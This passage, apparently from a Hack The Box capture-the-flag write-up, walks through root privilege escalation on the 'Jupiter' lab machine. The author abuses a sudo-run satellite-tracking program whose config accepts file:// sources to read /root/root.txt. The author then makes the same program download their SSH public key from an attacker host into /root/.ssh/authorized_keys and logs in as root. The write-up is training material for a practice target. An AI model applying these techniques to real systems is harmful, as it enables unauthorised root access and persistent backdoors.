        "pos",
        "vel"
    ]
}
jovian@jupiter:/opt/solar-flares$
At the moment, I'm not familiar with how the program works, so I'll copy the file /usr/local/share/sattrack/config.json to /tmp/config.json since this is the path the program is referencing.

jovian@jupiter:/opt/solar-flares$ cp /usr/local/share/sattrack/config.json /tmp/config.json
jovian@jupiter:/opt/solar-flares$
Now, I'll attempt to run the program once more, this time with the config.json file created.

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
^C
jovian@jupiter:/opt/solar-flares$
It appears to be trying to download a file. Based on the output returned, we could deduce that it's using the wget tool.

Furthermore, it has created a directory named tle in /tmp. If we list its contents, we find a file called weather.txt:

jovian@jupiter:/opt/solar-flares$ ls -l /tmp/tle
total 0
-rw-r--r-- 1 root root 0 Oct 22 14:17 weather.txt
jovian@jupiter:/opt/solar-flares$
It seems to be downloading files from the URL addresses we specify in this part of the file:

"tlesources": [
    "http://celestrak.org/NORAD/elements/weather.txt",
    "http://celestrak.org/NORAD/elements/noaa.txt",
    "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
One approach we could try is to, instead of specifying a URL to a web service, point to a system file using the file:// wrapper.

First, I will modify certain information in the config.json file. I'll change the tlefile field, which refers to the name of the file where the downloaded content will be stored. Next, I'll modify the first URL in the tlesources field to point to a system file using the file:// wrapper.

Since this file is being executed by root, I will point it to the file /root/root.txt in an attempt to access the last flag:

jovian@jupiter:/opt/solar-flares$ cat /tmp/config.json 
{
    "tleroot": "/tmp/tle/",
    "tlefile": "root.txt",
    "mapfile": "/usr/local/share/sattrack/map.json",
    "texturefile": "/usr/local/share/sattrack/earth.png",

    "tlesources": [
        "file:///root/root.txt",
        "http://celestrak.org/NORAD/elements/noaa.txt",
        "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
    ],

    "updatePerdiod": 1000,

    "station": {
        "name": "LORCA",
        "lat": 37.6725,
        "lon": -1.5863,
        "hgt": 335.0
    },

    "show": [
    ],

    "columns": [
        "name",
        "azel",
        "dis",
        "geo",
        "tab",
        "pos",
        "vel"
    ]
}
jovian@jupiter:/opt/solar-flares$
Once modified, I will run the program as root:

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 file:///root/root.txt
Get:1 http://celestrak.org/NORAD/elements/noaa.txt
^C
jovian@jupiter:/opt/solar-flares$
It doesn't appear to have returned any errors; however, I closed it because HTB machines don't have internet access, so they can't download files from the specified URLs.

If everything went as planned, we should see the root.txt file in the /tmp/tle directory:

jovian@jupiter:/opt/solar-flares$ ls -l /tmp/tle
total 4
-rw-r--r-- 1 root root  0 Oct 22 14:25 noaa.txt
-rw-r--r-- 1 root root 33 Oct 22 14:25 root.txt
-rw-r--r-- 1 root root  0 Oct 22 14:17 weather.txt
jovian@jupiter:/opt/solar-flares$
It seems that we have successfully read the system-level file, as unlike the other files, the root.txt file has a larger size. Let's proceed to read its content:

jovian@jupiter:/tmp/tle$ cat root.txt
4d4ff6fd5ee1c21c6d9b75116cffe223
jovian@jupiter:/tmp/tle$
We have successfully read a system-level file and obtained the final flag.

To access the system as the root user, I thought about trying to list the contents of the /root/.ssh/id_rsa file. However, this file didn't exist on the victim machine's system.

I came up with the idea of downloading my SSH public key and storing it in the /root/.ssh/authorized_keys file. To do this, we need to modify certain information in the config.json file:

jovian@jupiter:/tmp/tle$ cat /tmp/config.json
{
    "tleroot": "/root/.ssh/",
    "tlefile": "authorized_keys",
    "mapfile": "/usr/local/share/sattrack/map.json",
    "texturefile": "/usr/local/share/sattrack/earth.png",

    "tlesources": [
        "http://10.10.16.3/authorized_keys",
        "http://celestrak.org/NORAD/elements/noaa.txt",
        "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
    ],

    "updatePerdiod": 1000,

    "station": {
        "name": "LORCA",
        "lat": 37.6725,
        "lon": -1.5863,
        "hgt": 335.0
    },

    "show": [
    ],

    "columns": [
        "name",
        "azel",
        "dis",
        "geo",
        "tab",
        "pos",
        "vel"
    ]
}
jovian@jupiter:/tmp/tle$
In essence, I modified the values of the fields tleroot, tlefile, and tlesources.

The tleroot field's value is the directory where I want to store the downloaded content. The tlefile field's value is the name of the file where I want to store the downloaded content. Finally, the tlesources field contains the URLs from which I want to download the file's content.

In this case, tleroot will point to the /root/.ssh directory, the name of the file that will be created with the downloaded content will be authorized_keys, and the content will be downloaded from my attacker machine. Thus, I will need to host an HTTP server to serve the authorized_keys file:

elswix@kali$ cp /home/elswix/.ssh/id_rsa.pub authorized_keys
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
jovian@jupiter:/tmp/tle$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.16.3/authorized_keys
Get:1 http://celestrak.org/NORAD/elements/noaa.txt
^C
We receive the GET request from the victim machine:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [22/Oct/2023 11:36:55] "GET /authorized_keys HTTP/1.1" 200 -
If everything has worked correctly, we should now be able to access the victim machine as the root user via SSH without needing to provide credentials:

elswix@kali$ ssh root@10.10.11.216
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 22 02:38:50 PM UTC 2023

  System load:           0.0
  Usage of /:            81.3% of 12.33GB
  Memory usage:          26%
  Swap usage:            0%
  Processes:             243
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.216
  IPv6 address for eth0: dead:beef::250:56ff:feb9:af90


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@jupiter:~#
@root@jupiter:~# cat /root/root.txt
4d4ff6fd5ee1c21c6d9b75116cffe223
@root@jupiter:~#